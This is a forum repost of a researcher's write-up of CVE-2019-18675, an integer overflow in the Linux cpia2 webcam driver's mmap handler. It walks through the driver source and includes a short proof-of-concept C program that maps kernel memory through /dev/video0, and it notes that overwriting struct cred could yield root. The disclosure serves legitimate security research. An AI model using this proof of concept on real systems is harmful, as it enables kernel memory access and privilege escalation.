Jump to content
Sign in to follow this  
Nytro

Kernel Research / mmap handler exploitation

Recommended Posts

Kernel Research / mmap handler exploitation

November 22, 2019

 

Description

Recently I started to review the linux kernel, I’ve putted much time and effort trying to identify vulnerabilities. I looked on the cpia2 driver , which is a V4L driver , aimed for supporting cpia2 webcams. official documentation here. I found a vulnerability in the mmap handler implementation of the driver. Kernel drivers may re-implement their own mmap handlers , usually for speeding up the process of exchanging data between user space and kernel space. The cpia2 driver re-implement a mmap hanlder for sharing the frame’s buffer with the user application which controls the camera. —

Lets get into it

Here is the userspace mmap function prototype (taken from man):

void *mmap(void *addr, size_t length, int prot, int flags,
                  int fd, off_t offset);

Here the user supplies parameter for the mapping , we will be interested in the size and offset parameters.

  • length - will determine the length of the mapping
  • offset - will determine the offset from the beginning of the device we will start the mapping from.

The driver’s specific mmap handler will remap kernel memory to userspace using a function like remap_pfn_range

CVE-2019-18675

Lets have a look at the cpia2 mmap handler implementation:

We can see the file_operations struct:


/***
 * The v4l video device structure initialized for this device
 ***/
static const struct v4l2_file_operations cpia2_fops = {
	.owner		= THIS_MODULE,
	.open		= cpia2_open,
	.release	= cpia2_close,
	.read		= cpia2_v4l_read,
	.poll		= cpia2_v4l_poll,
	.unlocked_ioctl	= video_ioctl2,
	.mmap		= cpia2_mmap,
    };

Lets look at the function cpia2_mmap

static int cpia2_mmap(struct file *file, struct vm_area_struct *area)
{
	struct camera_data *cam = video_drvdata(file);
	int retval;

	if (mutex_lock_interruptible(&cam->v4l2_lock))
		return -ERESTARTSYS;
	retval = cpia2_remap_buffer(cam, area);

	if(!retval)
		cam->stream_fh = file->private_data;
	mutex_unlock(&cam->v4l2_lock);
	return retval;
}

It just calls the function cpia2_remap_buffer() with a pointer to the camera_data struct:

/******************************************************************************
 *
 *  cpia2_remap_buffer
 *
 *****************************************************************************/
int cpia2_remap_buffer(struct camera_data *cam, struct vm_area_struct *vma)
{
	const char *adr = (const char *)vma->vm_start;
	unsigned long size = vma->vm_end-vma->vm_start;
	unsigned long start_offset = vma->vm_pgoff << PAGE_SHIFT;
	unsigned long start = (unsigned long) adr;
	unsigned long page, pos;

	DBG("mmap offset:%ld size:%ld\n", start_offset, size);

	if (!video_is_registered(&cam->vdev))
		return -ENODEV;

	if (size > cam->frame_size*cam->num_frames  ||
	    (start_offset % cam->frame_size) != 0 ||
	    (start_offset+size > cam->frame_size*cam->num_frames))
		return -EINVAL;

	pos = ((unsigned long) (cam->frame_buffer)) + start_offset;
	while (size > 0) {
		page = kvirt_to_pa(pos);
		if (remap_pfn_range(vma, start, page >> PAGE_SHIFT, PAGE_SIZE, PAGE_SHARED))
			return -EAGAIN;
		start += PAGE_SIZE;
		pos += PAGE_SIZE;
		if (size > PAGE_SIZE)
			size -= PAGE_SIZE;
		else
			size = 0;
	}

	cam->mmapped = true;
	return 0;
}

we can see that start_offset + size is being calculated , and the sum is being compared to the total size of the frames:

if(... || (start_offset+size > cam->frame_size*cam->num_frames))
    return -EINVAL;

However, the calculation start_offset + size could wrap-around to a low value (a.k.a Integer Overflow), allowing an attacker to bypass the check while still using a big start_offset value which will lead to mapping of unintended kernel memory. The only requirement is that the start_offset value will be a multiple of the frame_size (which can be controlled by the cpia2 driver options, by default its 68k). And this can be quite bad because a huge offset will allow us to perform a mapping in an arbitrary offset (outside of the frame buffer’s bounds) , and this can possibly result in a privillege escalation

Demo time!

I’ve used a qemu kernel virtual machine (here). Now we have to:

  • Open /dev/video0
  • mmaping size 0x11000 at offset 0xffffffffffff0000. The overlow will ocuur and we will pass the check :)

Here is a minimalistic example for exploit code:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

#define VIDEO_DEVICE "/dev/video0"
int main(){

        pid_t pid;
        char command[40];

        int fd =  open(VIDEO_DEVICE , O_RDWR);
        if(fd < 0){
                printf("[-]Error opening device file\n");
        }

        printf("[+]Demonstration\n");
        pid = getpid();
        printf("[~]PID IS %d ", pid);

        getchar();
        int size =  0x11000;
        unsigned long mapStarter = 0x43434000;
        unsigned long * mapped = mmap((void *)mapStarter,  size, PROT_WRITE | PROT_READ, MAP_SHARED , fd , 0xffffffffffff0000);


        if(mapped == MAP_FAILED)
                printf("[-]Error mapping the specified region\n");
        else
                puts("[+]mmap went successfully\n");
        /*view the /proc/<pid>/maps file */

        sprintf(command , "cat /proc/%d/maps", pid);
        system(command);

        return 0;
}

Compile and run:

demo.png

and B00M! we have got a read and write primitives in kernel space! By modifying struct cred or kernel function pointers/ variables we can possibly gain root! or destroy kernel data!

Tips and thoughts

  • Because I didnt have the required hardware (for example, Intel Qx5 microscope ), I’ve made some changes in the driver’s code for this poc . I made some changes to the hardware and usb’s parts, In a way that allowed me to test the mmap functionallity as its in the original driver . Because the vulnerability is not related to the hardware interaction partsl , this wasn’t a problem. This way I could research more and even debug the interesting parts without being depend on hardware.

  • This vulnerability is more than 8 years old!

  • This is my first public vulnerability!

Additional info

  • CVE-2019-18675 on NVD
  • CVE-2019-18675 on Mitre

 

Sursa: https://deshal3v.github.io/blog/kernel-research/mmap_exploitation

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...